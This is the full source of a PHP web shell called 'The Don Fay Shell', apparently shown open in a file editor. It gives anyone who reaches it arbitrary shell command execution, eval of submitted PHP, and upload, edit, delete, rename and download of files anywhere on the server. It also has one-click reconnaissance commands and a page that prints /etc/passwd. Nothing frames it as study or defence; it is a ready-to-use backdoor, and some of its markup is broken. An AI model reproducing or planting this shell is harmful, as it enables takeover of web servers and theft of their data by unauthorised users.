THE DON FAY SHELL

✏️ Editing: thedon.php

<?php
/*
#-------------------------------------------------#
#         THE DON FAY SHELL - FINAL               #
#         WORKING DOWNLOAD                        #
#-------------------------------------------------#
*/

error_reporting(0);
ini_set('display_errors', 0);

$dir = isset($_POST['d']) ? $_POST['d'] : (isset($_GET['d']) ? $_GET['d'] : getcwd());
if(!$dir) $dir = '/';
if(substr($dir, -1) != '/') $dir .= '/';

$act = isset($_POST['a']) ? $_POST['a'] : (isset($_GET['a']) ? $_GET['a'] : '');

// ============ UPLOAD ============
if($act == 'up' && isset($_FILES['f'])) {
    $target = $dir . basename($_FILES['f']['name']);
    if(move_uploaded_file($_FILES['f']['tmp_name'], $target)) {
        $msg = "✅ Uploaded: " . basename($target);
    }
}

// ============ DELETE ============
if($act == 'del' && isset($_GET['file'])) {
    $f = $dir . $_GET['file'];
    if(is_file($f)) @unlink($f);
    if(is_dir($f)) @rmdir($f);
    header("Location: ?d=" . urlencode($dir));
    exit;
}

// ============ MKDIR ============
if($act == 'mkdir' && isset($_GET['n'])) {
    @mkdir($dir . $_GET['n']);
    header("Location: ?d=" . urlencode($dir));
    exit;
}

// ============ SAVE FILE ============
if($act == 'save' && isset($_POST['file']) && isset($_POST['c'])) {
    @file_put_contents($_POST['file'], $_POST['c']);
    header("Location: ?a=edit&file=" . urlencode(basename($_POST['file'])) . "&d=" . urlencode(dirname($_POST['file']) . '/'));
    exit;
}

// ============ RENAME ============
if($act == 'rename' && isset($_GET['old']) && isset($_GET['new'])) {
    $old = $dir . $_GET['old'];
    $new = $dir . $_GET['new'];
    @rename($old, $new);
    header("Location: ?d=" . urlencode($dir));
    exit;
}

// ============ DOWNLOAD ============
if($act == 'down' && isset($_GET['file'])) {
    $f = $dir . $_GET['file'];
    if(file_exists($f) && is_file($f)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($f) . '"');
        header('Content-Length: ' . filesize($f));
        readfile($f);
        exit;
    }
}

// ============ VIEW FILE ============
if($act == 'view' && isset($_GET['file'])) {
    $f = $dir . $_GET['file'];
    if(file_exists($f) && is_file($f)) {
        header('Content-Type: text/plain');
        readfile($f);
        exit;
    }
}

// ============ CONSOLE ============
$cmd_out = '';
if($act == 'cmd' && isset($_POST['c'])) {
    $cmd = $_POST['c'];
    if(function_exists('exec')) {
        exec($cmd . ' 2>&1', $o);
        $cmd_out = implode("\n", $o);
    } elseif(function_exists('shell_exec')) {
        $cmd_out = shell_exec($cmd . ' 2>&1');
    }
}

// ============ PHP EXEC ============
$php_out = '';
if($act == 'php' && isset($_POST['code'])) {
    ob_start();
    eval($_POST['code']);
    $php_out = ob_get_clean();
}

function fsize($b) {
    if($b >= 1073741824) return round($b/1073741824,2).' GB';
    if($b >= 1048576) return round($b/1048576,2).' MB';
    if($b >= 1024) return round($b/1024,2).' KB';
    return $b.' B';
}

<div class="menu">
    <a href="?">📁 FILES</a>
    <a href="?a=console">💻 CONSOLE</a>
    <a href="?a=php">🐘 PHP</a>
    <a href="?a=info">ℹ️ INFO</a>
</div>

<?php
$page = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : 'files');

// ==================== FILES ====================
if($page == 'files' || $page == ''):
?>
<h2>📁 <?=htmlspecialchars($dir)?></h2>

<form method="post" enctype="multipart/form-data" style="display:inline-block">
    <input type="hidden" name="a" value="up">
    <input type="hidden" name="d" value="<?=htmlspecialchars($dir)?>">
    <input type="file" name="f">
    <input type="submit" value="📤 UPLOAD">
</form>

<form method="get" style="display:inline-block; margin-left:10px">
    <input type="hidden" name="a" value="mkdir">
    <input type="hidden" name="d" value="<?=htmlspecialchars($dir)?>">
    <input type="text" name="n" placeholder="new folder" size="15">
    <input type="submit" value="📁 CREATE">
</form>

<form method="get" style="display:inline-block; margin-left:10px">
    <input type="text" name="d" value="<?=htmlspecialchars($dir)?>" size="40">
    <input type="submit" value="📂 GO">
</form>

<?php if($dir != '/' && $dir != 'C:/'):
    $parent = dirname($dir);
    if($parent == '\\') $parent = '/';
?>
<div style="margin:12px 0">
    <a href="?d=<?=urlencode($parent)?>">🔙 Parent Directory (..)</a>
</div>
<?php endif; ?>

<?php
$files = @scandir($dir);
if($files === false):
    echo '<div class="error">Cannot read directory!</div>';
else:
?>
<table>
    <thead><tr><th>Name</th><th width="80">Size</th><th width="200">Actions</th></tr></thead>
    <tbody>
    <?php foreach($files as $f):
        if($f == '.' || $f == '..') continue;
        $full = $dir . $f;
        $is_dir = is_dir($full);
        $size = $is_dir ? '&lt;DIR&gt;' : fsize(@filesize($full));
    ?>
    <tr>
        <td>
            <?php if($is_dir): ?>
                <a href="?d=<?=urlencode($full)?>/"><b>📁 <?=htmlspecialchars($f)?></b></a>
            <?php else: ?>
                <a href="?a=view&file=<?=urlencode($f)?>&d=<?=urlencode($dir)?>" target="_blank">📄 <?=htmlspecialchars($f)?></a>
            <?php endif; ?>
        </td>
        <td><?=$size?></td>
        <td>
            <?php if(!$is_dir): ?>
                <a href="?a=edit&file=<?=urlencode($f)?>&d=<?=urlencode($dir)?>">✏️ Edit</a>
                <a href="?a=down&file=<?=urlencode($f)?>&d=<?=urlencode($dir)?>">📥 Download</a>
            <?php endif; ?>
            <a href="?a=rename&old=<?=urlencode($f)?>&d=<?=urlencode($dir)?>">✏️ Rename</a>
            <a href="#" onclick="if(confirm('Delete?')) location.href='?a=del&file=<?=urlencode($f)?>&d=<?=urlencode($dir)?>'">🗑️ Delete</a>
        </td>
    </tr>
    <?php endforeach; ?>
    </tbody>
</table>
<?php endif; ?>
<?php endif; ?>

<?php if($page == 'edit' && isset($_GET['file'])):
    $file = $dir . $_GET['file'];
    if(file_exists($file) && is_file($file)):
        $content = file_get_contents($file);
?>
<h2>✏️ Editing: <?=htmlspecialchars($_GET['file'])?></h2>
<form method="post">
    <input type="hidden" name="a" value="save">
    <input type="hidden" name="file" value="<?=htmlspecialchars($file)?>">
    <textarea name="c" class="big"><?=htmlspecialchars($content)?></textarea>
    <br><br>
    <input type="submit" value="💾 SAVE">
    <a href="?d=<?=urlencode($dir)?>"><button type="button">🔙 Cancel</button></a>
</form>
<?php else: ?>
<div class="error">File not found!</div>
<?php endif; endif; ?>

<?php if($page == 'rename' && isset($_GET['old'])):
    $old = $_GET['old'];
?>
<h2>✏️ Rename: <?=htmlspecialchars($old)?></h2>
<form method="get">
    <input type="hidden" name="a" value="rename">
    <input type="hidden" name="d" value="<?=htmlspecialchars($dir)?>">
    <input type="hidden" name="old" value="<?=htmlspecialchars($old)?>">
    <input type="text" name="new" value="<?=htmlspecialchars($old)?>" size="40">
    <input type="submit" value="Rename">
    <a href="?d=<?=urlencode($dir)?>"><button type="button">Cancel</button></a>
</form>
<?php endif; ?>

<?php if($page == 'console'): ?>
<h2>💻 CONSOLE</h2>
<form method="post">
    <input type="hidden" name="a" value="cmd">
    <input type="text" name="c" value="<?=isset($_POST['c']) ? htmlspecialchars($_POST['c']) : ''?>" size="60" autofocus style="width:80%">
    <input type="submit" value="Execute">
</form>
<?php if($cmd_out): ?>
<pre><?=htmlspecialchars($cmd_out)?></pre>
<?php endif; ?>
<div style="margin-top:10px">
    <a href="#" onclick="runCmd('whoami')">whoami</a> |
    <a href="#" onclick="runCmd('id')">id</a> |
    <a href="#" onclick="runCmd('pwd')">pwd</a> |
    <a href="#" onclick="runCmd('ls -la')">ls -la</a> |
    <a href="#" onclick="runCmd('ps aux')">ps aux</a> |
    <a href="#" onclick="runCmd('netstat -an')">netstat</a>
</div>
<script>
function runCmd(cmd) {
    var f = document.createElement('form');
    f.method = 'POST';
    var i = document.createElement('input');
    i.type = 'hidden';
    i.name = 'a';
    i.value = 'cmd';
    var c = document.createElement('input');
    c.type = 'hidden';
    c.name = 'c';
    c.value = cmd;
    f.appendChild(i);
    f.appendChild(c);
    document.body.appendChild(f);
    f.submit();
}
</script>
<?php endif; ?>

<?php if($page == 'php'): ?>
<h2>🐘 PHP CODE</h2>
<form method="post">
    <input type="hidden" name="a" value="php">
    <textarea name="code" class="big" placeholder="&lt;?php&#10;echo 'Hello';&#10;system('id');&#10;phpinfo();&#10;?>"><?=isset($_POST['code']) ? htmlspecialchars($_POST['code']) : ''?></textarea>
    <br><br>
    <input type="submit" value="Execute">
</form>
<?php if($php_out): ?>
<pre><?=htmlspecialchars($php_out)?></pre>
<?php endif; ?>
<?php endif; ?>

<?php if($page == 'info'): ?>
<h2>ℹ️ SYSTEM INFO</h2>
<table>
    <tr><td width="180"><b>OS</b></td><td><?=php_uname()?></td></tr>
    <tr><td><b>PHP Version</b></td><td><?=phpversion()?></td></tr>
    <tr><td><b>Server</b></td><td><?=$_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'?></td></tr>
    <tr><td><b>User</b></td><td><?=get_current_user()?></td></tr>
    <tr><td><b>Safe Mode</b></td><td><?=ini_get('safe_mode') ? 'ON' : 'OFF'?></td></tr>
    <tr><td><b>Disabled Functions</b></td><td><?=ini_get('disable_functions') ?: 'none'?></td></tr>
</table>
<?php if(file_exists('/etc/passwd')): ?>
<h3>/etc/passwd</h3>
<pre><?=htmlspecialchars(file_get_contents('/etc/passwd'))?></pre>
<?php endif; ?>
<?php endif; ?>
</div>